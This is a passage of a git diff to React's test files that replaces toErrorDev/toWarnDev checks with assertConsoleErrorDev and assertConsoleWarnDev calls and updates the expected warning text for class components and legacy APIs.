+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-      it('disable logs for function double render', async () => {
-        let count = 0;
-        function Foo() {
-          count++;
-          console.log('foo ' + count);
-          return null;
-        }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
+    it('does not disable logs for effect double invoke', async () => {
+      let create = 0;
+      let cleanup = 0;
+      function Foo() {
+        React.useEffect(() => {
+          create++;
+          console.log('foo create ' + create);
+          return () => {
+            cleanup++;
+            console.log('foo cleanup ' + cleanup);
+          };
         });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
-      });
-
-      it('disable logs for effect double invoke', async () => {
-        let create = 0;
-        let cleanup = 0;
-        function Foo() {
-          React.useEffect(() => {
-            create++;
-            console.log('foo create ' + create);
-            return () => {
-              cleanup++;
-              console.log('foo cleanup ' + cleanup);
-            };
-          });
-          return null;
-        }
+        return null;
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(create).toBe(__DEV__ ? 2 : 1);
-        expect(cleanup).toBe(__DEV__ ? 1 : 0);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo create 1');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
-    }
+      expect(create).toBe(__DEV__ ? 2 : 1);
+      expect(cleanup).toBe(__DEV__ ? 1 : 0);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 3 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo create 1');
+      if (__DEV__) {
+        expect(console.log).toBeCalledWith('foo cleanup 1');
+      }
+    });
   });
 });
diff --git a/packages/react/src/__tests__/ReactTypeScriptClass-test.ts b/packages/react/src/__tests__/ReactTypeScriptClass-test.ts
index ec1e39fac4bd..c1fc9955cccf 100644
--- a/packages/react/src/__tests__/ReactTypeScriptClass-test.ts
+++ b/packages/react/src/__tests__/ReactTypeScriptClass-test.ts
@@ -16,9 +16,11 @@ import ReactDOM = require('react-dom');
 import ReactDOMClient = require('react-dom/client');
 import PropTypes = require('prop-types');
 import ReactFeatureFlags = require('shared/ReactFeatureFlags');
+import TestUtils = require('internal-test-utils');
 
 // Before Each
-
+const assertConsoleErrorDev = TestUtils.assertConsoleErrorDev;
+const assertConsoleWarnDev = TestUtils.assertConsoleWarnDev;
 let container;
 let root;
 let attachedListener = null;
@@ -244,7 +246,6 @@ let getDefaultPropsWasCalled = false;
 class ClassicProperties extends React.Component {
   contextTypes = {};
   contextType = {};
-  propTypes = {};
   getDefaultProps() {
     getDefaultPropsWasCalled = true;
     return {};
@@ -314,19 +315,19 @@ class ClassicRefs extends React.Component {
 
 // Describe the actual test cases.
 
-describe('ReactTypeScriptClass', function() {
-  beforeEach(function() {
+describe('ReactTypeScriptClass', function () {
+  beforeEach(function () {
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
     attachedListener = null;
     renderedName = null;
   });
 
-  it('preserves the name of the class for use in error messages', function() {
+  it('preserves the name of the class for use in error messages', function () {
     expect(Empty.name).toBe('Empty');
   });
 
-  it('throws if no render function is defined', function() {
+  it('throws if no render function is defined', function () {
     class Foo extends React.Component {}
     const caughtErrors = [];
     function errorHandler(event) {
@@ -335,14 +336,15 @@ describe('ReactTypeScriptClass', function() {
     }
     window.addEventListener('error', errorHandler);
     try {
-      expect(() => {
-        ReactDOM.flushSync(() => root.render(React.createElement(Empty)))
-      }).toErrorDev([
+      ReactDOM.flushSync(() => root.render(React.createElement(Empty)));
+      assertConsoleErrorDev([
         // A failed component renders twice in DEV in concurrent mode
         'No `render` method found on the Empty instance: ' +
-          'you may have forgotten to define `render`.',
+          'you may have forgotten to define `render`.\n' +
+          '    in Empty (at **)',
         'No `render` method found on the Empty instance: ' +
-          'you may have forgotten to define `render`.',
+          'you may have forgotten to define `render`.\n' +
+          '    in Empty (at **)',
       ]);
     } finally {
       window.removeEventListener('error', errorHandler);
@@ -350,31 +352,31 @@ describe('ReactTypeScriptClass', function() {
     expect(caughtErrors.length).toBe(1);
   });
 
-  it('renders a simple stateless component with prop', function() {
+  it('renders a simple stateless component with prop', function () {
     test(React.createElement(SimpleStateless, {bar: 'foo'}), 'DIV', 'foo');
     test(React.createElement(SimpleStateless, {bar: 'bar'}), 'DIV', 'bar');
   });
 
-  it('renders based on state using initial values in this.props', function() {
+  it('renders based on state using initial values in this.props', function () {
     test(
       React.createElement(InitialState, {initialValue: 'foo'}),
       'SPAN',
-      'foo'
+      'foo',
     );
   });
 
-  it('renders based on state using props in the constructor', function() {
+  it('renders based on state using props in the constructor', function () {
     const ref = React.createRef();
     test(
       React.createElement(StateBasedOnProps, {initialValue: 'foo', ref: ref}),
       'DIV',
-      'foo'
+      'foo',
     );
     ReactDOM.flushSync(() => ref.current.changeState());
     test(React.createElement(StateBasedOnProps), 'SPAN', 'bar');
   });
 
-  it('sets initial state with value returned by static getDerivedStateFromProps', function() {
+  it('sets initial state with value returned by static getDerivedStateFromProps', function () {
     class Foo extends React.Component {
       state = {
         foo: null,
@@ -395,7 +397,7 @@ describe('ReactTypeScriptClass', function() {
     test(React.createElement(Foo, {foo: 'foo'}), 'DIV', 'foo bar');
   });
 
-  it('warns if getDerivedStateFromProps is not static', function() {
+  it('warns if getDerivedStateFromProps is not static', function () {
     class Foo extends React.Component {
       getDerivedStateFromProps() {
         return {};
@@ -404,17 +406,17 @@ describe('ReactTypeScriptClass', function() {
         return React.createElement('div', {});
       }
     }
-    expect(function() {
-      ReactDOM.flushSync(() =>
-        root.render(React.createElement(Foo, {foo: 'foo'}))
-      );
-    }).toErrorDev(
-      'Foo: getDerivedStateFromProps() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.'
+    ReactDOM.flushSync(() =>
+      root.render(React.createElement(Foo, {foo: 'foo'})),
     );
+    assertConsoleErrorDev([
+      'Foo: getDerivedStateFromProps() is defined as an instance method ' +
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
-  it('warns if getDerivedStateFromError is not static', function() {
+  it('warns if getDerivedStateFromError is not static', function () {
     class Foo extends React.Component {
       getDerivedStateFromError() {
         return {};
@@ -423,34 +425,34 @@ describe('ReactTypeScriptClass', function() {
         return React.createElement('div');
       }
     }
-    expect(function() {
-      ReactDOM.flushSync(() =>
-        root.render(React.createElement(Foo, {foo: 'foo'}))
-      );
-    }).toErrorDev(
-      'Foo: getDerivedStateFromError() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.'
+    ReactDOM.flushSync(() =>
+      root.render(React.createElement(Foo, {foo: 'foo'})),
     );
+    assertConsoleErrorDev([
+      'Foo: getDerivedStateFromError() is defined as an instance method ' +
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
-  it('warns if getSnapshotBeforeUpdate is static', function() {
+  it('warns if getSnapshotBeforeUpdate is static', function () {
     class Foo extends React.Component {
       static getSnapshotBeforeUpdate() {}
       render() {
         return React.createElement('div', {});
       }
     }
-    expect(function() {
-      ReactDOM.flushSync(() =>
-        root.render(React.createElement(Foo, {foo: 'foo'}))
-      );
-    }).toErrorDev(
-      'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +
-        'and will be ignored. Instead, declare it as an instance method.'
+    ReactDOM.flushSync(() =>
+      root.render(React.createElement(Foo, {foo: 'foo'})),
     );
+    assertConsoleErrorDev([
+      'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +
+        'and will be ignored. Instead, declare it as an instance method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
-  it('warns if state not initialized before static getDerivedStateFromProps', function() {
+  it('warns if state not initialized before static getDerivedStateFromProps', function () {
     class Foo extends React.Component {
       static getDerivedStateFromProps(nextProps, prevState) {
         return {
@@ -464,19 +466,19 @@ describe('ReactTypeScriptClass', function() {
         });
       }
     }
-    expect(function() {
-      ReactDOM.flushSync(() =>
-        root.render(React.createElement(Foo, {foo: 'foo'}))
-      );
-    }).toErrorDev(
+    ReactDOM.flushSync(() =>
+      root.render(React.createElement(Foo, {foo: 'foo'})),
+    );
+    assertConsoleErrorDev([
       '`Foo` uses `getDerivedStateFromProps` but its initial state is ' +
         'undefined. This is not recommended. Instead, define the initial state by ' +
         'assigning an object to `this.state` in the constructor of `Foo`. ' +
-        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.'
-    );
+        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
-  it('updates initial state with values returned by static getDerivedStateFromProps', function() {
+  it('updates initial state with values returned by static getDerivedStateFromProps', function () {
     class Foo extends React.Component {
       state = {
         foo: 'foo',
@@ -496,7 +498,7 @@ describe('ReactTypeScriptClass', function() {
     test(React.createElement(Foo), 'DIV', 'not-foo bar');
   });
 
-  it('renders updated state with values returned by static getDerivedStateFromProps', function() {
+  it('renders updated state with values returned by static getDerivedStateFromProps', function () {
     class Foo extends React.Component {
       state = {
         value: 'initial',
@@ -518,63 +520,77 @@ describe('ReactTypeScriptClass', function() {
   });
 
   if (!ReactFeatureFlags.disableLegacyContext) {
-    it('renders based on context in the constructor', function() {
+    it('renders based on context in the constructor', function () {
       test(React.createElement(ProvideChildContextTypes), 'SPAN', 'foo');
+      assertConsoleErrorDev([
+        'ProvideChildContextTypes uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in ProvideChildContextTypes (at **)',
+        'StateBasedOnContext uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in ProvideChildContextTypes.createElement (at **)',
+      ]);
     });
   }
 
-  it('renders only once when setting state in componentWillMount', function() {
+  it('renders only once when setting state in componentWillMount', function () {
     renderCount = 0;
     test(React.createElement(RenderOnce, {initialValue: 'foo'}), 'SPAN', 'bar');
     expect(renderCount).toBe(1);
   });
 
-  it('should warn with non-object in the initial state property', function() {
-    expect(() => test(React.createElement(ArrayState), 'SPAN', '')).toErrorDev(
-      'ArrayState.state: must be set to an object or null'
-    );
-    expect(() => test(React.createElement(StringState), 'SPAN', '')).toErrorDev(
-      'StringState.state: must be set to an object or null'
-    );
-    expect(() => test(React.createElement(NumberState), 'SPAN', '')).toErrorDev(
-      'NumberState.state: must be set to an object or null'
-    );
+  it('should warn with non-object in the initial state property', function () {
+    test(React.createElement(ArrayState), 'SPAN', '');
+    assertConsoleErrorDev([
+      'ArrayState.state: must be set to an object or null\n' +
+        '    in ArrayState (at **)',
+    ]);
+    test(React.createElement(StringState), 'SPAN', '');
+    assertConsoleErrorDev([
+      'StringState.state: must be set to an object or null\n' +
+        '    in StringState (at **)',
+    ]);
+    test(React.createElement(NumberState), 'SPAN', '');
+    assertConsoleErrorDev([
+      'NumberState.state: must be set to an object or null\n' +
+        '    in NumberState (at **)',
+    ]);
   });
 
-  it('should render with null in the initial state property', function() {
+  it('should render with null in the initial state property', function () {
     test(React.createElement(NullState), 'SPAN', '');
   });
 
-  it('setState through an event handler', function() {
+  it('setState through an event handler', function () {
     test(
       React.createElement(BoundEventHandler, {initialValue: 'foo'}),
       'DIV',
-      'foo'
+      'foo',
     );
     ReactDOM.flushSync(() => attachedListener());
     expect(renderedName).toBe('bar');
   });
 
-  it('should not implicitly bind event handlers', function() {
+  it('should not implicitly bind event handlers', function () {
     test(
       React.createElement(UnboundEventHandler, {initialValue: 'foo'}),
       'DIV',
-      'foo'
+      'foo',
     );
     expect(attachedListener).toThrow();
   });
 
-  it('renders using forceUpdate even when there is no state', function() {
+  it('renders using forceUpdate even when there is no state', function () {
     test(
       React.createElement(ForceUpdateWithNoState, {initialValue: 'foo'}),
       'DIV',
-      'foo'
+      'foo',
     );
     ReactDOM.flushSync(() => attachedListener());
     expect(renderedName).toBe('bar');
   });
 
-  it('will call all the normal life cycle methods', function() {
+  it('will call all the normal life cycle methods', function () {
     lifeCycles = [];
     test(React.createElement(NormalLifeCycles, {value: 'foo'}), 'SPAN', 'foo');
     expect(lifeCycles).toEqual(['will-mount', 'did-mount']);
@@ -602,23 +618,29 @@ describe('ReactTypeScriptClass', function() {
     it(
       'warns when classic properties are defined on the instance, ' +
         'but does not invoke them.',
-      function() {
+      function () {
         getInitialStateWasCalled = false;
         getDefaultPropsWasCalled = false;
-        expect(() =>
-          test(React.createElement(ClassicProperties), 'SPAN', 'foo')
-        ).toErrorDev([
-          'getInitialState was defined on ClassicProperties, ' +
-            'a plain JavaScript class.',
-          'getDefaultProps was defined on ClassicProperties, ' +
-            'a plain JavaScript class.',
-          'propTypes was defined as an instance property on ClassicProperties.',
-          'contextTypes was defined as an instance property on ClassicProperties.',
-          'contextType was defined as an instance property on ClassicProperties.',
+        test(React.createElement(ClassicProperties), 'SPAN', 'foo');
+        assertConsoleErrorDev([
+          'getInitialState was defined on ClassicProperties, a plain JavaScript class. ' +
+            'This is only supported for classes created using React.createClass. ' +
+            'Did you mean to define a state property instead?\n' +
+            '    in ClassicProperties (at **)',
+          'getDefaultProps was defined on ClassicProperties, a plain JavaScript class. ' +
+            'This is only supported for classes created using React.createClass. ' +
+            'Use a static property to define defaultProps instead.\n' +
+            '    in ClassicProperties (at **)',
+          'contextType was defined as an instance property on ClassicProperties. ' +
+            'Use a static property to define contextType instead.\n' +
+            '    in ClassicProperties (at **)',
+          'contextTypes was defined as an instance property on ClassicProperties. ' +
+            'Use a static property to define contextTypes instead.\n' +
+            '    in ClassicProperties (at **)',
         ]);
         expect(getInitialStateWasCalled).toBe(false);
         expect(getDefaultPropsWasCalled).toBe(false);
-      }
+      },
     );
   }
 
@@ -637,76 +659,64 @@ describe('ReactTypeScriptClass', function() {
       }
 
       test(React.createElement(Example), 'SPAN', 'foo');
-    }
+    },
   );
 
-  it('should warn when misspelling shouldComponentUpdate', function() {
-    expect(() =>
-      test(React.createElement(MisspelledComponent1), 'SPAN', 'foo')
-    ).toErrorDev(
-      '' +
-        'MisspelledComponent1 has a method called componentShouldUpdate(). Did ' +
+  it('should warn when misspelling shouldComponentUpdate', function () {
+    test(React.createElement(MisspelledComponent1), 'SPAN', 'foo');
+    assertConsoleErrorDev([
+      'MisspelledComponent1 has a method called componentShouldUpdate(). Did ' +
         'you mean shouldComponentUpdate()? The name is phrased as a question ' +
-        'because the function is expected to return a value.'
-    );
+        'because the function is expected to return a value.\n' +
+        '    in MisspelledComponent1 (at **)',
+    ]);
   });
 
-  it('should warn when misspelling componentWillReceiveProps', function() {
-    expect(() =>
-      test(React.createElement(MisspelledComponent2), 'SPAN', 'foo')
-    ).toErrorDev(
-      '' +
-        'MisspelledComponent2 has a method called componentWillRecieveProps(). ' +
-        'Did you mean componentWillReceiveProps()?'
-    );
+  it('should warn when misspelling componentWillReceiveProps', function () {
+    test(React.createElement(MisspelledComponent2), 'SPAN', 'foo');
+    assertConsoleErrorDev([
+      'MisspelledComponent2 has a method called componentWillRecieveProps(). ' +
+        'Did you mean componentWillReceiveProps()?\n' +
+        '    in MisspelledComponent2 (at **)',
+    ]);
   });
 
-  it('should warn when misspelling UNSAFE_componentWillReceiveProps', function() {
-    expect(() =>
-      test(React.createElement(MisspelledComponent3), 'SPAN', 'foo')
-    ).toErrorDev(
-      '' +
-        'MisspelledComponent3 has a method called UNSAFE_componentWillRecieveProps(). ' +
-        'Did you mean UNSAFE_componentWillReceiveProps()?'
-    );
+  it('should warn when misspelling UNSAFE_componentWillReceiveProps', function () {
+    test(React.createElement(MisspelledComponent3), 'SPAN', 'foo');
+    assertConsoleErrorDev([
+      'MisspelledComponent3 has a method called UNSAFE_componentWillRecieveProps(). ' +
+        'Did you mean UNSAFE_componentWillReceiveProps()?\n' +
+        '    in MisspelledComponent3 (at **)',
+    ]);
   });
 
-  it('should throw AND warn when trying to access classic APIs', function() {
+  it('should throw AND warn when trying to access classic APIs', function () {
     const ref = React.createRef();
     test(React.createElement(Inner, {name: 'foo', ref: ref}), 'DIV', 'foo');
-    expect(() =>
-      expect(() => ref.current.replaceState({})).toThrow()
-    ).toWarnDev(
-      'replaceState(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true}
-    );
-    expect(() =>
-      expect(() => ref.current.isMounted()).toThrow()
-    ).toWarnDev(
-      'isMounted(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true}
-    );
+    expect(() => ref.current.replaceState({})).toThrow();
+    assertConsoleWarnDev([
+      'replaceState(...) is deprecated in plain JavaScript React classes. ' +
+        'Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).',
+    ]);
+    expect(() => ref.current.isMounted()).toThrow();
+    assertConsoleWarnDev([
+      'isMounted(...) is deprecated in plain JavaScript React classes. ' +
+        'Instead, make sure to clean up subscriptions and pending requests in ' +
+        'componentWillUnmount to prevent memory leaks.',
+    ]);
   });
 
   if (!ReactFeatureFlags.disableLegacyContext) {
-    it('supports this.context passed via getChildContext', function() {
+    it('supports this.context passed via getChildContext', () => {
       test(React.createElement(ProvideContext), 'DIV', 'bar-through-context');
-    });
-  }
-
-  if (!ReactFeatureFlags.disableStringRefs) {
-    it('supports string refs', function() {
-      const ref = React.createRef();
-      expect(() => {
-        test(React.createElement(ClassicRefs, {ref: ref}), 'DIV', 'foo');
-      }).toErrorDev([
-        'Component "ClassicRefs" contains the string ref "inner". ' +
-          'Support for string refs will be removed in a future major release. ' +
-          'We recommend using useRef() or createRef() instead. ' +
-          'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-          '    in Inner (at **)',
+      assertConsoleErrorDev([
+        'ProvideContext uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in ProvideContext (at **)',
+        'ReadContext uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in ProvideContext.createElement (at **)',
       ]);
-      expect(ref.current.refs.inner.getName()).toBe('foo');
     });
   }
 });
diff --git a/packages/react/src/__tests__/createReactClassIntegration-test.js b/packages/react/src/__tests__/createReactClassIntegration-test.js
index 8adb37cad059..872dc9b1d1b0 100644
--- a/packages/react/src/__tests__/createReactClassIntegration-test.js
+++ b/packages/react/src/__tests__/createReactClassIntegration-test.js
@@ -10,6 +10,8 @@
 'use strict';
 
 let act;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 let PropTypes;
 let React;
@@ -19,7 +21,11 @@ let createReactClass;
 describe('create-react-class-integration', () => {
   beforeEach(() => {
     jest.resetModules();
-    ({act} = require('internal-test-utils'));
+    ({
+      act,
+      assertConsoleErrorDev,
+      assertConsoleWarnDev,
+    } = require('internal-test-utils'));
     PropTypes = require('prop-types');
     React = require('react');
     ReactDOMClient = require('react-dom/client');
@@ -52,126 +58,111 @@ describe('create-react-class-integration', () => {
   });
 
   it('should warn on invalid prop types', () => {
-    expect(() =>
-      createReactClass({
-        displayName: 'Component',
-        propTypes: {
-          prop: null,
-        },
-        render: function () {
-          return <span>{this.props.prop}</span>;
-        },
-      }),
-    ).toErrorDev(
-      'Component: prop type `prop` is invalid; ' +
+    createReactClass({
+      displayName: 'Component',
+      propTypes: {
+        prop: null,
+      },
+      render: function () {
+        return <span>{this.props.prop}</span>;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: Component: prop type `prop` is invalid; ' +
         'it must be a function, usually from React.PropTypes.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn on invalid context types', () => {
-    expect(() =>
-      createReactClass({
-        displayName: 'Component',
-        contextTypes: {
-          prop: null,
-        },
-        render: function () {
-          return <span>{this.props.prop}</span>;
-        },
-      }),
-    ).toErrorDev(
-      'Component: context type `prop` is invalid; ' +
+    createReactClass({
+      displayName: 'Component',
+      contextTypes: {
+        prop: null,
+      },
+      render: function () {
+        return <span>{this.props.prop}</span>;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: Component: context type `prop` is invalid; ' +
         'it must be a function, usually from React.PropTypes.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should throw on invalid child context types', () => {
-    expect(() =>
-      createReactClass({
-        displayName: 'Component',
-        childContextTypes: {
-          prop: null,
-        },
-        render: function () {
-          return <span>{this.props.prop}</span>;
-        },
-      }),
-    ).toErrorDev(
-      'Component: child context type `prop` is invalid; ' +
-        'it must be a function, usually from React.PropTypes.',
-      {withoutStack: true},
-    );
+    createReactClass({
+      displayName: 'Component',
+      childContextTypes: {
+        prop: null,
+      },
+      render: function () {
+        return <span>{this.props.prop}</span>;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: Component: child context type `prop` is invalid; it must be a function, usually from React.PropTypes.',
+    ]);
   });
 
   it('should warn when misspelling shouldComponentUpdate', () => {
-    expect(() =>
-      createReactClass({
-        componentShouldUpdate: function () {
-          return false;
-        },
-        render: function () {
-          return <div />;
-        },
-      }),
-    ).toErrorDev(
-      'A component has a method called componentShouldUpdate(). Did you ' +
+    createReactClass({
+      componentShouldUpdate: function () {
+        return false;
+      },
+      render: function () {
+        return <div />;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: A component has a method called componentShouldUpdate(). Did you ' +
         'mean shouldComponentUpdate()? The name is phrased as a question ' +
         'because the function is expected to return a value.',
-      {withoutStack: true},
-    );
+    ]);
 
-    expect(() =>
-      createReactClass({
-        displayName: 'NamedComponent',
-        componentShouldUpdate: function () {
-          return false;
-        },
-        render: function () {
-          return <div />;
-        },
-      }),
-    ).toErrorDev(
-      'NamedComponent has a method called componentShouldUpdate(). Did you ' +
+    createReactClass({
+      displayName: 'NamedComponent',
+      componentShouldUpdate: function () {
+        return false;
+      },
+      render: function () {
+        return <div />;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: NamedComponent has a method called componentShouldUpdate(). Did you ' +
         'mean shouldComponentUpdate()? The name is phrased as a question ' +
         'because the function is expected to return a value.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn when misspelling componentWillReceiveProps', () => {
-    expect(() =>
-      createReactClass({
-        componentWillRecieveProps: function () {
-          return false;
-        },
-        render: function () {
-          return <div />;
-        },
-      }),
-    ).toErrorDev(
-      'A component has a method called componentWillRecieveProps(). Did you ' +
+    createReactClass({
+      componentWillRecieveProps: function () {
+        return false;
+      },
+      render: function () {
+        return <div />;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: A component has a method called componentWillRecieveProps(). Did you ' +
         'mean componentWillReceiveProps()?',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should warn when misspelling UNSAFE_componentWillReceiveProps', () => {
-    expect(() =>
-      createReactClass({
-        UNSAFE_componentWillRecieveProps: function () {
-          return false;
-        },
-        render: function () {
-          return <div />;
-        },
-      }),
-    ).toErrorDev(
-      'A component has a method called UNSAFE_componentWillRecieveProps(). ' +
+    createReactClass({
+      UNSAFE_componentWillRecieveProps: function () {
+        return false;
+      },
+      render: function () {
+        return <div />;
+      },
+    });
+    assertConsoleErrorDev([
+      'Warning: A component has a method called UNSAFE_componentWillRecieveProps(). ' +
         'Did you mean UNSAFE_componentWillReceiveProps()?',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('should throw if a reserved property is in statics', () => {
@@ -200,23 +191,22 @@ describe('create-react-class-integration', () => {
   // TODO: Consider actually moving these to statics or drop this unit test.
   // eslint-disable-next-line jest/no-disabled-tests
   it.skip('should warn when using deprecated non-static spec keys', () => {
-    expect(() =>
-      createReactClass({
-        mixins: [{}],
-        propTypes: {
-          foo: PropTypes.string,
-        },
-        contextTypes: {
-          foo: PropTypes.string,
-        },
-        childContextTypes: {
-          foo: PropTypes.string,
-        },
-        render: function () {
-          return <div />;
-        },
-      }),
-    ).toErrorDev([
+    createReactClass({
+      mixins: [{}],
+      propTypes: {
+        foo: PropTypes.string,
+      },
+      contextTypes: {
+        foo: PropTypes.string,
+      },
+      childContextTypes: {
+        foo: PropTypes.string,
+      },
+      render: function () {
+        return <div />;
+      },
+    });
+    assertConsoleErrorDev([
       '`mixins` is now a static property and should ' +
         'be defined inside "statics".',
       '`propTypes` is now a static property and should ' +
@@ -336,6 +326,13 @@ describe('create-react-class-integration', () => {
     await act(() => {
       root.render(<Outer />);
     });
+    assertConsoleErrorDev([
+      'Component uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)',
+      'Component uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)' +
+        '\n    in ReactClassComponent (at **)',
+    ]);
     expect(container.firstChild.className).toBe('foo');
   });
 
@@ -387,11 +384,11 @@ describe('create-react-class-integration', () => {
       },
     });
 
-    expect(() => expect(() => Component()).toThrow()).toErrorDev(
-      'Something is calling a React component directly. Use a ' +
+    expect(() => Component()).toThrow();
+    assertConsoleErrorDev([
+      'Warning: Something is calling a React component directly. Use a ' +
         'factory or JSX instead. See: https://fb.me/react-legacyfactory',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   it('replaceState and callback works', async () => {
@@ -492,15 +489,15 @@ describe('create-react-class-integration', () => {
         return <div />;
       },
     });
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => {
-        root.render(<Foo foo="foo" />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Foo foo="foo" />);
+    });
+    assertConsoleErrorDev([
       'Foo: getDerivedStateFromProps() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.',
-    );
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('warns if getDerivedStateFromError is not static', async () => {
@@ -513,15 +510,15 @@ describe('create-react-class-integration', () => {
         return <div />;
       },
     });
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => {
-        root.render(<Foo foo="foo" />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Foo foo="foo" />);
+    });
+    assertConsoleErrorDev([
       'Foo: getDerivedStateFromError() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.',
-    );
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('warns if getSnapshotBeforeUpdate is static', async () => {
@@ -536,15 +533,15 @@ describe('create-react-class-integration', () => {
         return <div />;
       },
     });
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => {
-        root.render(<Foo foo="foo" />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Foo foo="foo" />);
+    });
+    assertConsoleErrorDev([
       'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +
-        'and will be ignored. Instead, declare it as an instance method.',
-    );
+        'and will be ignored. Instead, declare it as an instance method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('should warn if state is not properly initialized before getDerivedStateFromProps', async () => {
@@ -559,17 +556,17 @@ describe('create-react-class-integration', () => {
         return null;
       },
     });
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
       '`Component` uses `getDerivedStateFromProps` but its initial state is ' +
         'null. This is not recommended. Instead, define the initial state by ' +
         'assigning an object to `this.state` in the constructor of `Component`. ' +
-        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',
-    );
+        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new static gDSFP is present', async () => {
@@ -597,30 +594,49 @@ describe('create-react-class-integration', () => {
     });
     Component.displayName = 'Component';
 
-    await expect(async () => {
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(document.createElement('div'));
-        await act(() => {
-          root.render(<Component />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  componentWillReceiveProps\n' +
-          '  componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
